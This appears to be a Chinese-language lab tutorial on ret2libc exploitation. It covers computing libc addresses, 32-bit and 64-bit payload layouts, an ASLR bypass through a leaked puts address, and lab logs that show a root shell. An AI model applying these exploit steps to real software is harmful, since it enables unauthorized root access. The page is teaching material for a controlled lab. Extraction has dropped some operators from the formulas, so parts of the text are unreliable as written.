2026/8/12 17:18:24

02 · ret2libc —— 回到 libc, 借刀杀人

02 · ret2libc —— 回到 libc, 借刀杀人 02 · ret2libc —— 回到 libc, 借刀杀人最经典的栈溢出利用: 不执行自己的代码, 而是返回到 libc 里的 system(),让它执行 /bin/sh。NX/DEP 挡不住 —— 因为执行的是合法库代码!1. 原理一句话正常返回: main → vulnerable 的返回地址 → main 攻击返回: main → vulnerable 的返回地址 → system(/bin/sh) → shell!libc 里有现成的system()和字符串/bin/sh, 我们只需要:知道 system 的地址知道 “/bin/sh” 的地址溢出把返回地址改成 system, 参数改成 “/bin/sh”2. 地址怎么算(核心公式)函数地址 libc基址 函数在libc文件里的偏移 字符串地址 libc基址 字符串偏移# libc 基址: ASLR 关闭时固定, 从进程的地址映射读cat/proc/pid/maps|greplibc# 例如: f7de8000-f7e01000 ... /lib32/libc-2.27.so → 基址 0xf7de8000# 函数偏移: nm -Dnm-D/lib32/libc-2.27.so|grep system$# → 0003cf10 W systemnm-D/lib32/libc-2.27.so|grep exit$# → 00030160 W exit# 字符串偏移: grep -boagrep-boa/bin/sh/lib32/libc-2.27.so# → 17b9db:/bin/sh# 于是:system0xf7de8000 0x3cf100xf7e24f10exit0xf7de8000 0x301600xf7e18160 binsh0xf7de8000 0x17b9db0xf7f639db3. 32 位 payload 布局(参数压栈)payload A*72 system exit binsh 0x0 └─填充─┘ └─返回─┘ └─再返回─┘ └参数─┘执行过程:vulnerable 的 ret → 弹出 system → 跳 system 此时栈顶 exit ← system 的返回地址 (system 结束后跳 exit, 干净退出) 栈顶4 binsh ← system 的参数! (32位 cdecl: 参数在栈上) → system(/bin/sh) → 交互 shell!为什么还要 exit? 不写的话 system 返回后跳到垃圾地址崩掉 —— 加 exit 让程序正常结束, 更稳。4. lab1 真实运行(evidence/lab1_ret2libc.log)[] libc base 0xf7de8000 (ASLR 关闭, 每次运行固定) [] system0xf7e24f10 exit0xf7e18160 /bin/sh0xf7f639db [*] 发送 92 字节 payload ... PWNED ← 攻击成功! uid0(root) ← root shell hello world! ← PowerShell 执行结果5. 进阶: ASLR 开启怎么办(lab1b)ASLR 让 libc 基址每次随机 → 不能再用固定地址。绕过: 泄漏一个 libc 地址。阶段1: 溢出 → puts(putsgot) → 返回 vulnerable puts 会打印它自己在 libc 中的真实地址! (putsgot GOT 表里存的 puts 地址 libc 内的真实位置) 阶段2: libc基址 泄漏值 - puts偏移 → 计算 system/binsh → 再溢出 → ret2libclab1b 真实运行:[] 泄漏 putslibc 0xf7d5d560 [] libc base 0xf7cf6000 ← 算出来的! ASLR-BYPASSED hello world!教学要点: 相对偏移固定 → 泄漏一个地址 拿到整个 libc。6. 为什么 64 位不能照抄64 位参数走寄存器: system 的参数必须在 RDI 里。payload 直接放 binsh 地址没用 —— 需要一个 gadget:pop rdi; ret(把栈顶弹进 rdi 再返回)。payload padding pop_rdi_ret binsh system └─rdibinsh─┘ └─跳 system─┘没有现成 pop rdi? 用 ret2csu 或字节级搜索 —— 见 docs/03。7. 记忆卡ret2libc 返回 libc 函数, 不执行自己的代码公式: 地址 基址 偏移32位: [system][exit][binsh] 三连64位: [pop rdi; ret][binsh][system]ASLR 绕过 泄漏一个地址减偏移得基址gets 截断符是 \n, 不是 \0